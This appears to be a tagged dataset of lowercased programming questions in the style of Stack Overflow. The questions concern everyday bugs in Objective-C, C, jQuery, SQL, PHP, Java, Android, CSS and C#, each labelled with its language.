creating two instances but output remains same  i am new in objective c and i am trying to run one of the examples from the book but the result of two instances gives the same result. here is the code:   <pre><code>#include &lt;foundation/foundation.h&gt;  //--- @interface section --- @interface fraction: nsobject -(void) print; -(void) setnumerator: (int) n; -(void) setdenominator: (int)d; @end  //--- @implementation section --- @implementation fraction  int numerator; int denominator;   -(void) print {    nslog(@ %i/%i   numerator  denominator);  }  -(void) setnumerator: (int) n {    numerator = n;    }  -(void) setdenominator: (int) d {    denominator = d;  }  @end  int main(int argc  const char * argv[]) {     nsautoreleasepool * fzrpool = [[nsautoreleasepool alloc] init];   fraction *myfraction = [[fraction alloc] init];     [myfraction setnumerator: 1];     [myfraction setdenominator: 5];      fraction *fzr = [[fraction alloc] init];     [fzr setnumerator: 3];     [fzr setdenominator: 2];      nslog (@ the value of myfraction is:  );     [myfraction print];     nslog (@ the value of fzr is:  );     [fzr print];      [fzrpool drain]; return 0; } </code></pre>   <strong>output</strong>   <pre><code>2013-12-17 11:56:01.187 helloworld[1988] the value of myfraction is: 2013-12-17 11:56:01.187 helloworld[1988] 3/2 2013-12-17 11:56:01.187 helloworld[1988] the value of fzr is: 2013-12-17 11:56:01.187 helloworld[1988] 3/2 </code></pre>   i can not use @autoreleasepool{} here because i am working on windows  gcc. what am i doing wrong here,objective-c
displaying parent and child menu names  using sql i want to return a list of menu names from single menutable that has field structure:menuentry intmenu name url intsubmenu    i am passing * as wildcard at the beginning and end of url as search keyword in textbox i looked at the solutions present in <a href= https://stackoverflow.com/questions/7569399/get-a-recursive-parent-list >get a recursive parent list</a> but my table consist of intsubmenu(child id) and also i need to display the menus in the format      root menu > submenu1 > submenu2 while clicking on search button.   <pre><code>    menuentry   intmenu   description        url               intsubmenu     1          1001     showroom            /portal/default.aspx     1002     2          1002     sales               /sales/index.html         0     3          1002     aftersales          /aftersales/index.html    0     4          1002     admin               /bin/usrmgmt/admin.aspx  1003     5          1003     homepage            /bin/usrmgmt/homepage.asp 0     6          1003     menu               /bin/usrmgmt/menu.asp      0     7          1003     content            /bin/usrmgmt/content.aspx  0  enter :*usrmgmt* output: showroom &gt; admin &gt; homepage showroom &gt; admin &gt; menu showroom &gt; admin &gt; content  to be more specific if i enter *parent-list* in textbox  it should fetch me the list of menus like stackoverflow.com &gt; questions &gt; 7569399 &gt; get-a-recursive-parent-list </code></pre>,asp.net
array of structs in c-user input  i am new to programming in general and to <code>c</code> in particular.  i am trying to write a program that uses an array of structs  but i am experiencing problems if that struct contains strings.  somehow the compiler crashes after the user has given the last input.     the struct below is just a simplified version containing only one item  because the problem seems to be reading strings into the array.  any help is much appreciated  thanks in advance.    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; typedef struct {     char* name; }student;  int main() {     int size;     printf( enter number of entries\n );     scanf( %d    &amp;size);     student* all=malloc(size*sizeof(student));      int i;     for(i=0;i&lt;size;i++)     {         printf( enter name\n );         scanf( %s    all[i].name);     }      return 0; } </code></pre>,c
jquery: duplicate and paste html  hmm ok heres the shortened code   <pre><code> &lt;div id= sidecategorylist &gt;         &lt;div class= blockcontent &gt;            &lt;ul&gt;               &lt;li&gt;&lt;a href= # &gt;link a&lt;/a&gt;&lt;/li&gt;               &lt;li&gt;&lt;a href= # &gt;link b&lt;/a&gt;&lt;/li&gt;           &lt;/ul&gt;        &lt;/div&gt;      &lt;/div&gt;     &lt;div id= navcont &gt;     &lt;ul class= menu  id= menu &gt;       &lt;li id= hov &gt;&lt;a href= # &gt;top link&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a href= # &gt;bottom link&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;    &lt;/div&gt; </code></pre>   i want to use jquery to duplicate whats in the first ul into the first li in the #menu so it looks like this   <pre><code>&lt;div id= sidecategorylist &gt;         &lt;div class= blockcontent &gt;            &lt;ul&gt;               &lt;li&gt;&lt;a href= # &gt;link a&lt;/a&gt;&lt;/li&gt;               &lt;li&gt;&lt;a href= # &gt;link b&lt;/a&gt;&lt;/li&gt;           &lt;/ul&gt;        &lt;/div&gt;      &lt;/div&gt;     &lt;div id= navcont &gt;       &lt;ul class= menu  id= menu &gt;          &lt;li id= hov &gt;&lt;a href= # &gt;top link&lt;/a&gt;             &lt;ul&gt;                &lt;li&gt;&lt;a href= # &gt;link a&lt;/a&gt;&lt;/li&gt;                &lt;li&gt;&lt;a href= # &gt;link b&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;bottom link&lt;/a&gt;&lt;/li&gt;       &lt;/ul&gt;    &lt;/div&gt; </code></pre>   so the finished product will be a 2 level list... let me know if this is makin sense lol,jquery
how to find elements by the last bit of their id with jquery   i have to find an element by its id with jquery. this element has the id:   <pre><code>txthistoricalpricesdate </code></pre>   which would be easy to find under normal circumstances with the following:   <pre><code>var element = $( #txthistoricalpricesdate ); </code></pre>   but unfortunately  i m working in an asp.net app  which helpfully renamed the element to:   <pre><code>ctl00_contentplaceholder1_ucfundsearchresultspanel_tabcontainer_tabpricetab_txthistoricalpricesdate </code></pre>   rather than dirty the jquery with that huge ridiculous id  is there a way that i can tell jquery to find the element with an id that ends with <code>txthistoricalpricesdate</code>,jquery
error while executing the c++ code <pre><code>class fruit{  };  class banana: public fruit {     public:     bool isripe(){         if (mcolor == ‘y’){             return true;         }         else{             return false;         }     } };  main(){     banana banana;     banana.setcolor(‘y’);     if(banana.isripe()){         cout &lt;&lt; “banana is ready to eat” &lt;&lt; endl;     }     else{         cout &lt;&lt; “banana is not ready to eat” &lt;&lt; endl;     } } </code></pre>   this is the code which needs to be compiled but throwing the below error:-   <pre><code>$\fruit.cpp||in member function  bool banana::isripe() :| $\fruit.cpp|17|error:  y  was not declared in this scope| $\fruit.cpp||in function  int main() :| $\fruit.cpp|28|error:  class banana  has no member named  setcolor | $\fruit.cpp|28|error:  y  was not declared in this scope| $\fruit.cpp|30|error:  cout  was not declared in this scope| $\fruit.cpp|30|error: expected  ;  before  is | $\fruit.cpp|33|error:  cout  was not declared in this scope| </code></pre>   $\fruit.cpp|33|error: expected  ;  before  is | ||=== build failed: 32 error(s)  0 warning(s) (0 minute(s)  0 second(s)) ===|    i am trying to use the base class for the given derived class of fruit but not getting it right. any help is appreciated.,c++
why is div within span illegal   it is not legal to have &lt;div&gt; elements within a &lt;span&gt; element. but if i understand it correctly  a &lt;span&gt; can be made to work like a &lt;div&gt; and vice versa by setting the css  display  property to  block  or  inline .    if it is that easy to bypass the containment rules  what is the point of having them,html
how do i use a like in a join with sql92   i m trying to use a like in a join statement. my reason i have one field that is a varchar and another that is also a varchar however  the second field is a comma separated list.    <pre><code>select c.class  c.subclass  c.value  c.pairs  c.description  prodt.producttype  p.type from pub.table1 c  inner join pub.table2 p on c.subclass like concat(concat( %  p.type)  % ) inner join pub.table3 prodt on p.prodtype = prodt.producttype   where c.class =  whatever   </code></pre>   in this case p.type is the comma separated list and the subclass is the normal varchar.     i have tried using a few different things already. i would have thought the below worked  but it did not.   <pre><code>inner join pub.table2 p on c.subclass like  %  + p.type + %   </code></pre>   is there a way to do this or do i have do something different like another select with sql92  thank you in advance!,sql
html version of ● sign   what s the html version of ● sign (e.g. <code>&amp;nbsp;</code>),html
must declare the scalar variable/ variable has been already declared  i am trying to create a function which takes a query and it s parameters and returns a sqldatasource for further binding.    the function is:   <pre><code> public static sqldatasource getsqlsource(string sql  dictionary&lt;string  string&gt; parameters)     {         sqlconnection con = new sqlconnection(connectionstring);          using (sqlcommand cmd = con.createcommand())         {             con.open();             cmd.commandtext = sql;             foreach (keyvaluepair&lt;string  string&gt; item in parameters)             {                  cmd.parameters.add(new sqlparameter(item.key  item.value));              }             sqldatasource source = new sqldatasource(connectionstring  cmd.commandtext);              con.close();              return source;         }     } </code></pre>   the query i am trying to create is:   <pre><code>    string sql =           //  declare @from date ;   +            with cte as   +  (   +  select username count(username) as cc from salereport   +  group by username   +  )   +  select count(salereport.username) as numerklientesh distributorname from salereport   +  inner join cte on salereport.username=cte.username   +   where  (salereport.saledate) &lt;=convert(date @from)   +    and (salereport.saledate)&gt;=(dateadd(day -10 convert(date @from)))   +   and cc&gt;1 and salereport.comboid not in (43 44 46 47)   +  group by distributorname  ;         dictionary&lt;string  string&gt; params = new dictionary&lt;string  string&gt;();         params.add( @from   from);         sqldatasource source = querymanager.getsqlsource(sql  params);          gridview1.datasource = source;         gridview1.databind(); </code></pre>   when i run the application  i get the following error:    <blockquote>     must declare the variable @from   </blockquote>   but  when i try to declare it (i have put the declaration as a comment ) i get this message:    <blockquote>    the variable name  @from  has already been declared.        variable names must be unique within a query batch or stored procedure.  </blockquote>   am i doing something wrong in the query perhaps     <strong>edit1:</strong> with the suggestion of sabinbio  i have outputted the result of the query as following:   <pre><code>declare @from date;  with cte as (      select username          count(username) as cc      from salereport      group by username      )  select count(salereport.username) as numerklientesh      distributorname  from salereport      inner join cte on salereport.username=cte.username  where (salereport.saledate) &lt;= convert(date @from)      and (salereport.saledate) &gt;= (dateadd(day -10 convert(date @from)))      and cc&gt;1      and salereport.comboid not in (43 44 46 47)  group by distributorname </code></pre>   <strong>edit2</strong>    if i put the query in a stored procedure  and i call it as :   <pre><code>declare @return_value int  exec @return_value = [dbo].[procedurename]  @from = +from+  </code></pre>   it works fine  but i want to avoid possible sql injection and if i declare it like:   <pre><code>declare @return_value int  exec @return_value = [dbo].[procedurename]  @from =@saledate  </code></pre>   and put the saledate as an item in my dictionary i still have the error    <blockquote>    must declare the variable @saledate  </blockquote>,c#
c# correct way to change datetime value   is is possible to change the value returned by datetime  or at least assign it to a variable then change that variable    <pre><code> internal int hour;     internal int minute;     datetime time = datetime.now;  public int incrementhour(int step)         {             if (step &gt; 0 &amp;&amp; hour &lt; 24)             {                 //step = step % hour;                 hour = (hour + step) % 24;                 time.addhours(hour);                 return hour;             }//end of if              else             {                 messagebox.show( please enter a positive number. );                  return 0;             }//end of else         }//end of incrementhour </code></pre>   addhours doesn t really do anything from the looks of it.,c#
how do c programmers work with the msdn api examples which are in c++   i am getting into gui programming with c for fun. i presume that gtk isn t complete enough to deal with potentially all the win32 calls that can be made/hooked.  i ve gone through the examples from the few sites i could find that give tutorials on the common api calls (with c focus)  but when i look up the msdn on api calls that aren t covered  i see that the explanations/examples are in c++.  what do c programmers do at this point,c
write to a file in php and then download it  i am working on a project where i get a file stream and write this file to the servers local disk.     i then want php to download it but instead it just dumps out the data of the file to the page.     below is how i am writing the file and trying to tell php to download it   <pre><code>$settingsmanager = new settingsmanager(); $this-&gt;tempwritelocation = $settingsmanager-&gt;getspecificsetting( hddfilewriterlocation ); $downloadurl = $settingsmanager-&gt;getspecificsetting( tempfileurldownload ) .  /$this-&gt;tempfilename ; if (!$this-&gt;checkifdirectoryexists()) {      throw new exception( failed to create temp write directory: $this-&gt;tempwritelocation ); } $filepathandname =  $this-&gt;tempwritelocation\\$this-&gt;tempfilename ; $fh = fopen($filepathandname   w ); if (!$fh) {      throw new exception( failed to open file handle for: $filepathandname.   . error_get_last()); } fwrite($fh  $this-&gt;filedata); fclose($fh); //return $downloadurl; header( content-description: file transfer ); header( content-type: audio/wav ); header( content-disposition: attachment; filename= .basename($filepathandname)); header( content-transfer-encoding: binary ); header( expires: 0 ); header( cache-control: must-revalidate  post-check=0  pre-check=0 ); header( pragma: public ); header( content-length:   . filesize($filepathandname)); ob_clean(); flush(); readfile($filepathandname); </code></pre>   when the above code being run  i get the following output (only a snippet)   <blockquote>    riff\twavelist2infoisft%aculab media system server v2.3.4b11fmt   @@fact�sdata�suu������uuuuuu�uuu��u���uu��uuu�uuuu���uu���uu�����uu  </blockquote>   just so you know the diamonds are actual output i get back  not anything wrong with so displaying something properly.     i ve tried setting the content-type to be force-download but doesn t make any difference.     thanks for any help you can provide.,php
trouble in running application .jar from built path  i am trying to write a program using serial communication. i used the java communications api (comm.jar) for this. my program works when i run it from my ide (netbeans)  but my application .jar didn t run when i tried to run from its built location(from  c:\users\bipin panday\documents\netbeansprojects......\dist  folder).     the code for my program that does not work when run from the built location is:   <pre><code>commportidentifier portidentifier = portenum.nextelement();       private void jbutton1actionperformed(java.awt.event.actionevent evt) {                                                  // todo add your handling code here:         java.util.enumeration&lt;commportidentifier&gt; portenum = commportidentifier.getportidentifiers();         int i = 0;         string[] r = new string[10];         while (portenum.hasmoreelements()) {             commportidentifier portidentifier = portenum.nextelement();             r[i] = portidentifier.getname();//+    -   +  getporttypename(portidentifier.getporttype()) ;             i++;         }          jcombobox1.setmodel(new javax.swing.defaultcomboboxmodel(r));     }                                              private void jcombobox1actionperformed(java.awt.event.actionevent evt) {                                                    // todo add your handling code here:         object selecteditem = jcombobox1.getselecteditem();          string com = selecteditem.tostring();         simpleread(com);     }                                                private void jbutton2actionperformed(java.awt.event.actionevent evt) {                                                  // todo add your handling code here:         serialport.close();     }                                              /**      * @param args the command line arguments      */     public static void main(string args[]) {         /* set the nimbus look and feel */         //&lt;editor-fold defaultstate= collapsed  desc=  look and feel setting code (optional)  &gt;         /* if nimbus (introduced in java se 6) is not available  stay with the default look and feel.          * for details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html           */         try {             for (javax.swing.uimanager.lookandfeelinfo info : javax.swing.uimanager.getinstalledlookandfeels()) {                 if ( nimbus .equals(info.getname())) {                     javax.swing.uimanager.setlookandfeel(info.getclassname());                     break;                 }             }         } catch (classnotfoundexception ex) {             java.util.logging.logger.getlogger(test.class.getname()).log(java.util.logging.level.severe  null  ex);         } catch (instantiationexception ex) {             java.util.logging.logger.getlogger(test.class.getname()).log(java.util.logging.level.severe  null  ex);         } catch (illegalaccessexception ex) {             java.util.logging.logger.getlogger(test.class.getname()).log(java.util.logging.level.severe  null  ex);         } catch (javax.swing.unsupportedlookandfeelexception ex) {             java.util.logging.logger.getlogger(test.class.getname()).log(java.util.logging.level.severe  null  ex);         }         //&lt;/editor-fold&gt;          /* create and display the form */         java.awt.eventqueue.invokelater(new runnable() {             @override             public void run() {                 new test().setvisible(true);             }         });     }      public void simpleread(string com) {         portlist = commportidentifier.getportidentifiers();          while (portlist.hasmoreelements()) {             portid = (commportidentifier) portlist.nextelement();             if (portid.getporttype() == commportidentifier.port_serial) {                 if (portid.getname().equals(com)) {                     //                if (portid.getname().equals( /dev/term/a )) {                     try {                         serialport = (serialport) portid.open( simplereadapp   2000);                     } catch (portinuseexception e) {                         system.out.println(e);                     }                     try {                         inputstream = serialport.getinputstream();                     } catch (ioexception e) {                         system.out.println(e);                     }                     try {                         serialport.addeventlistener(this);                     } catch (toomanylistenersexception e) {                         system.out.println(e);                     }                     serialport.notifyondataavailable(true);                     try {                         serialport.setserialportparams(57600                                  serialport.databits_8                                  serialport.stopbits_1                                  serialport.parity_none);                     } catch (unsupportedcommoperationexception e) {                         system.out.println(e);                     }                     readthread = new thread(this);                     readthread.start();                 }             }         }      }      public void run() {         try {             thread.sleep(20000);         } catch (interruptedexception e) {             system.out.println(e);         }     }      public void serialevent(serialportevent event) {         switch (event.geteventtype()) {             case serialportevent.bi:             case serialportevent.oe:             case serialportevent.fe:             case serialportevent.pe:             case serialportevent.cd:             case serialportevent.cts:             case serialportevent.dsr:             case serialportevent.ri:             case serialportevent.output_buffer_empty:                 break;             case serialportevent.data_available:                 byte[] readbuffer = new byte[25];                  try {                     while (inputstream.available() &gt; 0) {                         //int numbytes = inputstream.read(readbuffer);                         inputstream.read(readbuffer);                     }                     waiting(2);                     string y = new string(readbuffer);                     system.out.println(new string(readbuffer));                     jtextarea1.settext(y);                 } catch (ioexception e) {                     system.out.println(e);                 }                 break;         }     } </code></pre>,java
asp.net request.servervariables[ remote_addr ] <<< gives the  physical  connection ip   ignoring other possiblities such as <code>request.servervariables[ http_x_forwarded_for ]</code>  does <code>request.servervariables[ remote_addr ]</code> gives me the  principal  ip of the client     i m talking about the ip that made the actual tcp connection.<br> will <code>servervariables[ remote_addr ]</code> always be the  real  ip address of the remote endpoint     just to clarify: even if it s a proxy who made the real tcp connection i d like have its ip  and not a forwarded one.,asp.net
can we assume default array values in java  for example  assume that an int array is set to all zeros   in practice can i assume that all int arrays in java will start out filled with zeros  for all machines in which the jvm runs     is this true for all types  char  boolean  enums     where is this officially documented     the textbooks i have say that int arrays are set to zero but they also recommend that one should write a for-loop to set all values to zero just  to be clearer .,java
interface relation with abstract class c#  i read that interface is implicitly pure abstract. so why the methods of the class that implements interface does not prefix with override keyword    <pre><code>interface ia {     void method(); }  class b : ia {    public void method()       // why it is not  public override void method()     {        console.writeline( a derived );    } } </code></pre>   <strong>edit</strong> for those who want to know where i read it. go to abstract classes v/s interface section of below page: <a href= http://www.codeproject.com/articles/6118/all-about-abstract-classes  rel= nofollow >http://www.codeproject.com/articles/6118/all-about-abstract-classes</a>,c#
take numbers from string array index  multiply them together   so in this scenario i have an array with multiple cards within a deck. these cards in each index are ranked s1r1  s1r2  s1r3  s2r1  s2r2  s2r3. i need to be able to extract both numbers from each index position and multiply them together and eventually add them up.   <pre><code>for example   position 0 would be 1 * 1 = 1 position 1 would be 1 * 2 = 2 position 2 would be 1 * 3 = 3 etc. etc. </code></pre>   the code for this example changes based on user input so it s tough to give you the code to work with.    <pre><code>public void createdeckofcards() {     sizeofdeck = numberofranks * numberofsuits;      cards newcard = new cards();      newcard.setcards ( numberofranks  numberofsuits );      newdeck = new string [ sizeofdeck ];       int counter = 0;     for (int whatsuit = 1; whatsuit &lt;= numberofsuits; whatsuit++) {         for (int rank = 1; rank &lt;= numberofranks; rank++) {             newdeck[counter++] = newcard.createcard(rank  whatsuit);         }     }  } </code></pre>   this is what calls upon method createcard() which creates each card based on how many cards the user inputs. so newdeck[] contains all these cards that i need to break into numbers and summarize eventually. (making a histogram of 100 000 hands of cards)    thank you for your time  and i appreciate any input,java
special css for elements listed after each other  i have a list of messages in a ticket  but in between the messages i might display some ticket activity (as in  ticket closed    status changed ...).    my basic html of a ticket and it s messages is:   <pre><code>&lt;p class= ticket-message &gt;my message&lt;/p&gt; &lt;p class= ticket-message &gt;another message&lt;/p&gt; &lt;p class= ticket-message &gt;third message message&lt;/p&gt; </code></pre>   if a message has any activities  the html can look like this:   <pre><code>&lt;p class= ticket-message &gt;my message&lt;/p&gt; &lt;p class= ticket-activity &gt;activity&lt;/p&gt; &lt;p class= ticket-activity &gt;another activity&lt;/p&gt; &lt;p class= ticket-message &gt;another message&lt;/p&gt; &lt;p class= ticket-activity &gt;some activity here&lt;/p&gt; &lt;p class= ticket-message &gt;third message message&lt;/p&gt; </code></pre>   if a ticket-activity is listed after another ticket-activity  i want to add some special css for it (like reducing the margin on the bottom of the first item).    example:   <pre><code>&lt;p class= ticket-message &gt;my message&lt;/p&gt; &lt;p class= ticket-activity &gt;activity&lt;/p&gt; &lt;== a ticket-activity is listed after this item  add special css for this item only &lt;p class= ticket-activity &gt;another activity&lt;/p&gt; &lt;p class= ticket-message &gt;another message&lt;/p&gt; &lt;p class= ticket-activity &gt;some activity here&lt;/p&gt; &lt;== this ticket-activity is listed by itself (no ticket-activity after this item)  so no special css is needed here &lt;p class= ticket-message &gt;third message message&lt;/p&gt; </code></pre>   is it possible to do something like this     i ve tried using .ticket-activity + .ticket-activity  but it doesn t give me the results i need.    <strong>update</strong> i ve added the css i have and what i tried to accomplish:   <pre><code>.ticket-message  .ticket-activity {     padding: 15px;     margin-bottom: 15px; }  /* this css should only be applied to items that are followed by another .ticket-activity as per my example above */ .ticket-activity + .ticket-activity {     margin-bottom: 3px; }  /* some custom classes like changing color on .ticket-activity */ /* ... */ </code></pre>   <strong>update #2</strong> this is what i m trying to achieve (this is just done in the dom with inline styles): <a href= https://i.imgur.com/gknx19j.png  rel= nofollow noreferrer >https://i.imgur.com/gknx19j.png</a>,css
check if iphone is trying to connect to internet  i want to know if my device is trying to connect to internet eventhough my application is in background or closed. even if any other application is trying to connect to internet.    i read in a blog that we can register for local notifications  though no sample code was provided for that.,iphone
how do i align contents of a centered div to the left   i have centered a div inside another div but want to left justify the contents of the centered inner div.  how can i do this     my current html looks like this:   <pre><code>&lt;div style= border: solid 1px #ff0000;text-align:center; &gt;        &lt;div style= border:solid 1px #00ff00; &gt;       &lt;img src= /some_url_1/  style= width: 80px; height 80px; border: 0 /&gt;       &lt;img src= /some_url_2/  style= width: 80px; height 80px; border: 0 /&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   currently the images are centered inside the inner div but i would like them aligned to the left inside of the centered inner div.    any idea what i m missing,css
play/pause forward buttos not working android media controller  following is the code that i am using in my app. i don t know whats wrong in it anybody help me please   <pre><code>videoview videoview = (videoview) dialoglayout.findviewbyid(r.id.videoview);         mediacontroller mediacontroller = new mediacontroller(getactivity() false);         uri video = uri.parse(link);         videoview.setmediacontroller(mediacontroller);         mediacontroller.setmediaplayer(videoview);         videoview.requestfocus();         videoview.setvideouri(video);         videoview.setonpreparedlistener(new mediaplayer.onpreparedlistener()         {              public void onprepared(mediaplayer mp)             {                                  hideprogressdialog();                      videoview.start();             }         });       videoview.start(); </code></pre>,android
php - why does casting false to an array not result in empty array  i have a method return type can either be an array of things or false.    i am therefore casting the result to an array to try to ensure my code doesnt need to check for false or array.    but  php is casting false to an array containing 1 element: false:   <pre><code>array(1) {   [0]=&gt;   bool(false) } </code></pre>   why!    is there a way to achieve this without the if statement     i.e.   <pre><code>if ($returnvalue === false) {     return array(); } else {     return $returnvalue; } </code></pre>,php
disable save as & open in new tab on an image with css   i know there is no point to do it  but i want to ask if it is possible to disable right click on an image with only css.     -what i want to do is to disallow naïve users from saving the images  from my wordpress website slider (metaslider),css
com.google.firebase.database.databaseexception: failed to convert value of type java.util.hashmap to string  im trying to log a simple string from my database using firebase s docs guide yet i receive this error:  com.google.firebase.database.databaseexception: failed to convert value of type java.util.hashmap to string    this is my code:   <pre><code>import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.util.log;  import com.google.firebase.database.datasnapshot; import com.google.firebase.database.databaseerror; import com.google.firebase.database.databasereference; import com.google.firebase.database.firebasedatabase; import com.google.firebase.database.valueeventlistener;    public class mainactivity extends appcompatactivity {        @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);           firebasedatabase database = firebasedatabase.getinstance();         databasereference myref = database.getreference( brands );          myref.addvalueeventlistener(new valueeventlistener() {             @override             public void ondatachange(datasnapshot datasnapshot) {                 string value = datasnapshot.getvalue(string.class);                  log.d( tag    value is:   + value); //;             }              @override             public void oncancelled(databaseerror databaseerror) {              }         });        }    } </code></pre>   thanks for any sort of help!    logcat:   <pre><code>03-27 18:58:12.593 574-574/com.ofir.motoinfo e/androidruntime: fatal exception: main                                                                process: com.ofir.motoinfo  pid: 574                                                                com.google.firebase.database.databaseexception: failed to convert value of type java.util.hashmap to string                                                                    at com.google.android.gms.internal.zzbtg.zzaf(unknown source)                                                                    at com.google.android.gms.internal.zzbtg.zzb(unknown source)                                                                    at com.google.android.gms.internal.zzbtg.zza(unknown source)                                                                    at com.google.firebase.database.datasnapshot.getvalue(unknown source)                                                                    at com.ofir.motoinfo.mainactivity$1.ondatachange(mainactivity.java:33)                                                                    at com.google.android.gms.internal.zzbpx.zza(unknown source)                                                                    at com.google.android.gms.internal.zzbqx.zzzs(unknown source)                                                                    at com.google.android.gms.internal.zzbra$1.run(unknown source)                                                                    at android.os.handler.handlecallback(handler.java:751)                                                                    at android.os.handler.dispatchmessage(handler.java:95)                                                                    at android.os.looper.loop(looper.java:154)                                                                    at android.app.activitythread.main(activitythread.java:6119)                                                                    at java.lang.reflect.method.invoke(native method)                                                                    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:886)                                                                    at com.android.internal.os.zygoteinit.main(zygoteinit.java:776) </code></pre>,android
jquery 1.9.0 strange $.get behaviour  i have the following piece of code:   <pre><code>$( #workout-switcher .button ).on( click   function(){    console.log( first test ); // this is logged    $.get( /ajax/set-workout.php   {  request  : id   date  : date }        function(data){          console.log( second test ); // this is not logged       }  json     ); }); </code></pre>   this works perfectly in jquery 1.8.3  that is: the <code>first test</code> is logged into the console  then the <code>get</code> request is sent and successfully executed  then the <code>second test</code> is logged into the console.    this is what happens in jquery 1.9.0: <code>first test</code> fires  <code>get</code> successfully fires  but <code>second test</code> is <strong>not</strong> logged into the console.    any idea what s wrong here     <strong>edit</strong>    when i changed $.get to $.ajax  it started working. obviously a jquery 1.9.0 bug.,jquery
how can i get the last 12 months sales subtotals in a table   i have this code so far which gives me the subtotals for each product for a given month.    <pre><code> &lt; php     include( dbaseconn.php );          $query =  select product  sum(qty) from sh_orders group by product ;       $result = mysql_query($query) or die(mysql_error());      // print out result     while($row = mysql_fetch_array($result)){       echo  &lt;table width= 1050 &gt;   ;       echo  &lt;td width= 400 &gt; ;         echo   . $row[ product ].    ;       echo  &lt;/td&gt; ;       echo  &lt;td&gt; ;       echo   . $row[ sum(qty) ].    ;       echo  &lt;/td&gt; ;         echo  &lt;br /&gt; ;     }      &gt; </code></pre>   table structure   <pre><code>create table if not exists `sh_orders` (   `building` varchar(50) not null    `qty` varchar(5) not null    `product` varchar(50) not null    `order_id` bigint(5) not null auto_increment    `unik` varchar(50) not null    `order_date` varchar(25) not null    `co_id` varchar(20) not null    unique key `unik` (`unik`)    unique key `id` (`order_id`) ) engine=myisam  default charset=latin1 auto_increment=11 ; </code></pre>   i want to show the last 12 months sales - sum (qty) does that for me  but i need to see each month separately with each product and its total sales for that month. i need this in one table showing each month with each product and total for that month   <pre><code>expected result month:    january 2012    feb 2012   marc 2012 product1: 124                105         76 product2:  34                 23         56 product3:  12                  5          6 </code></pre>   i am new to this so please show patience if i ask a million questions.,php
boolean operators in a switch statement   is there any way to make this work with a switch  syntactically    <pre><code>switch(i){     case ( foo  ||  bar ):         alert( foo or bar );         break;     default:         alert( not foo or bar ); } </code></pre>,javascript
loading indicator not in motion  i m trying to show a gif as a loading indicator while the page loads but the gif is still and not in motion. i don t know why it s happening.  here is my script:   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function() {          $( .class ).click(function() {             $( #ajaxbusy ).show();         });     }); &lt;/script&gt; </code></pre>   i call this script in the <code>onclick</code> of a button.    <img src= https://i.stack.imgur.com/lao4q.gif  alt= enter image description here >   <pre><code>&lt;div id= ajaxbusy  title= loading  style= display:none; &gt;    &lt;p&gt;    &lt;img src= images/smallloader.gif  align= left &gt;    loading content  please wait...    &lt;/p&gt;    &lt;/div&gt; </code></pre>   i m doing a c# web application,jquery
how can i get the overall total count of the schooldetail.name  <pre><code>select          districts.districtdescription count(schooldetail.name) as responded       sum(case when school_wash.waterassetcondition =  improved  then 1 else 0 end) as h2improved      sum(case when school_wash.waterassetcondition =  unimproved  then 1 else 0 end) as h2notimproved      sum(case when school_wash.watertypefunc =  functional  then 1 else 0 end) as h2func      sum(case when school_wash.watertypefunc =  not functional  then 1 else 0 end) as h2notfunc      sum(case when school_wash.toiletsimproved =  improved  then 1 else 0 end) as toiletsimproved      sum(case when school_wash.toiletsimproved =  unimproved  then 1 else 0 end) as toiletsunimproved      sum(case when school_wash.toiletsfunc =  functional  then 1 else 0 end) as toiletsfunc      sum(case when school_wash.toiletsfunc =  not functional  then 1 else 0 end) as toiletsnotfunc      sum(case when school_wash.functoiletsaccessible =  yes  then 1 else 0 end) as accessible      sum(case when school_wash.functoiletsaccessible =  no  then 1 else 0 end) as notaccessible      sum(case when school_wash.studenttoiltessexseparated =  yes  then 1 else 0 end) as sexsep      sum(case when school_wash.studenttoiltessexseparated =  no  then 1 else 0 end) as nosexsep      sum(case when school_wash.handwashfacwithwater =  yes  then 1 else 0 end) as handwashwater      sum(case when school_wash.handwashfacwithwater =  no  then 1 else 0 end) as nohandwashwater      sum(case when school_wash.handwashfacwithwatersoap =  yes  then 1 else 0 end) as handwashwatersoap      sum(case when school_wash.handwashfacwithwatersoap =  no  then 1 else 0 end) as nohandwashwatersoap from     districts  inner join     schooldetail on districts.id = schooldetail.districtid  inner join     school_wash on schooldetail.code = school_wash.schoolcode where     school_wash.schoolyear =  2016  group by     districts.districtdescription   </code></pre>,sql
get return result after post to server (from iphone)  i make iphone application  post parametes to jsp (test.jsp in server) from iphone. the following is my codes:     <pre><code>nsdata *postdata = [@ &amp;test=123&amp;field=456  datausingencoding:nsutf8stringencoding]; nsstring *postlength = [nsstring stringwithformat:@ %d   [postdata length]]; // init and set fields of the urlrequest nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init]; [request sethttpmethod:@ post ]; [request seturl:[nsurl urlwithstring:[nsstring stringwithstring:@ http://mydomain.com/test.jsp ]]]; [request setvalue:@ application/x-www-form-urlencoded  forhttpheaderfield:@ content-type ]; [request setvalue:postlength forhttpheaderfield:@ content-length ]; [request sethttpbody:postdata]; nsurlconnection *connection = [[nsurlconnection alloc] initwithrequest:request delegate:self];  if (connection) { // return data of the request nsdata *receiveddata = [[nsmutabledata data] retain]; }  [request release]; </code></pre>   but my problem is: i can not get return result from jsp server.  how i can setup in jsp to get return result in iphone  and in iphone too     thank all,iphone
how to enable mfsidemenu in a part of view area instead of full view screen   i am using mfsidemenu which likes facebook ios app style  it works fine! is it possible to enable mfsidemenu for pan gesture in left 1/3 area of view instead of full view screen,ios
